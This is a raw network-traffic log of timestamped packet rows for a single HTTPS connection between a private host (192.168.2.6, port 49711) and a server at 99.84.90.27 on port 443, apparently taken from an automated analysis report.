May 31, 2023 12:22:22.021572113 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.021620989 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.021707058 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.021734953 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.021754026 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.021759987 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.021784067 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.021800995 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.021847963 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.021859884 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.021897078 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.021919966 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.021953106 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.021960974 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.021984100 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.022020102 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.022042990 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.022077084 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.022083998 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.022104025 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.022154093 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.022186041 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.022212982 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.022221088 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.022248983 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.022319078 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.022344112 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.022380114 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.022388935 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.022409916 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.022465944 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.022485971 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.022494078 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.022526026 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.022567034 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.022612095 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.022643089 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.022680998 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.022692919 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.022713900 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.022735119 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.022773027 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.022804976 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.022816896 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.022866964 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.022871971 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.022898912 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.022933960 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.022944927 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.022968054 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.022972107 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.023016930 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.023045063 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.023052931 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.023078918 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.023113966 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.023168087 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.023178101 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.023217916 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.023220062 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.023236036 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.023262978 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.023302078 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.023310900 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.023330927 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.023354053 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.023360968 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.023377895 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.023405075 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.023426056 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.023435116 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.023475885 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.023499012 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.023515940 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.023534060 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.023560047 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.023583889 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.023593903 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.023626089 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.023631096 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.023663998 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.023663998 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.023674011 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.023694992 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.023709059 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.023767948 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.023788929 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.023844004 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.023889065 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.023921967 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.023988008 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.023992062 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.024007082 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.024029016 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.024050951 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.024058104 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.024068117 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.024113894 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.024166107 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.024215937 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.024293900 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.024327040 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.024364948 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.024374962 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.024393082 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.024416924 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.024431944 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.024468899 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.024504900 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.024511099 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.024544954 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.024565935 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.024571896 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.024590015 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.024626970 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.024636984 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.024643898 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.024682999 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.024707079 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.024728060 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.024781942 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.024800062 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.024806023 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.024846077 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.024848938 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.024866104 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.024899006 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.024909973 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.024943113 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.024949074 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.024972916 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.025012016 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.025046110 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.025077105 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.025083065 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.025125027 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.025151014 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.025182009 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.025218010 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.025223970 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.025249958 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.025285006 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.025325060 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.025346041 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.025352955 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.025396109 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.025428057 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.025458097 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.025490999 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.025497913 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.025523901 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.025558949 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.025585890 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.025592089 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.025608063 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.025614023 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.025665045 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.025686979 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.025712967 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.025752068 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.025758028 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.025787115 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.025793076 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.025825024 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.025859118 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.025865078 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.025877953 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.025901079 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.025906086 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.025954962 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.025960922 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.025985956 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.026000977 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.026036978 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.026042938 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.026062965 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.026096106 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.026119947 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.026127100 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.026168108 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.026179075 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.026206017 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.026243925 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.026249886 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.026279926 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.026282072 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.026319981 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.026338100 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.026344061 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.026396036 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.026401997 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.026417017 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.026437044 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.026464939 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.026472092 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.026484966 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.026495934 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.026513100 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.026520967 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.026530027 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.026562929 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.026613951 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.026670933 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.026673079 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.026684999 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.026706934 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.026734114 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.026767969 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.026773930 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.026793957 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.026845932 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.026853085 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.026897907 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.026922941 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.026976109 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.027004004 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.027010918 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.027049065 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.027071953 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.027082920 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.027107000 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.027148962 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.027167082 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.027188063 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.027193069 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.027232885 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.027270079 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.027318001 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.027395964 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.027403116 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.027472019 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.027515888 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.027542114 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.027549028 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.027591944 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.027622938 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.027646065 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.027683020 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.027693987 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.027749062 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.027755022 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.027801037 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.027847052 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.027853966 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.027937889 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.027980089 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.028016090 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.028023005 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.028084040 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.028084040 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.028110027 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.028168917 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.028187990 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.028193951 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.028255939 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.028284073 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.028294086 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.028318882 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.028414011 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.028419971 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.028429985 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.028455973 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.028482914 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.028491020 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.028512955 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.028528929 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.028539896 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.028565884 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.028572083 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.028611898 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.028645039 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.028650999 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.028692961 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.028717995 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.028753042 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.028762102 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.028798103 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.028805971 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.028841972 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.028868914 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.028876066 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.028903961 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.028930902 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.028954029 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.028989077 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.028995991 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.029026031 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.029031992 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.029066086 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.029097080 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.029103994 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.029129028 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.029144049 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.029186964 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.029205084 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.029211998 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.029232979 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.029238939 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.029254913 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.029259920 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.029272079 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.029299974 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.029305935 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.029345989 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.029361963 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.029387951 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.029424906 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.029431105 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.029457092 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.029470921 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.029479980 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.029485941 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.029509068 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.029529095 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.029572964 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.029578924 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.029592037 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.029616117 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.029623985 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.029633045 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.029676914 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.029717922 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.029719114 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.029731989 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.029763937 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.029777050 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.029803991 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.029808998 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.029839993 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.029844999 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.029875994 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.029886961 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.029894114 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.029937983 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.029939890 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.029963017 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.029978037 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.029983997 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.030035019 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.030057907 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.030081987 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.030091047 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.030097008 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.030150890 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.030165911 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.030190945 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.030204058 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.030210972 CEST	443	49711	99.84.90.27	192.168.2.6
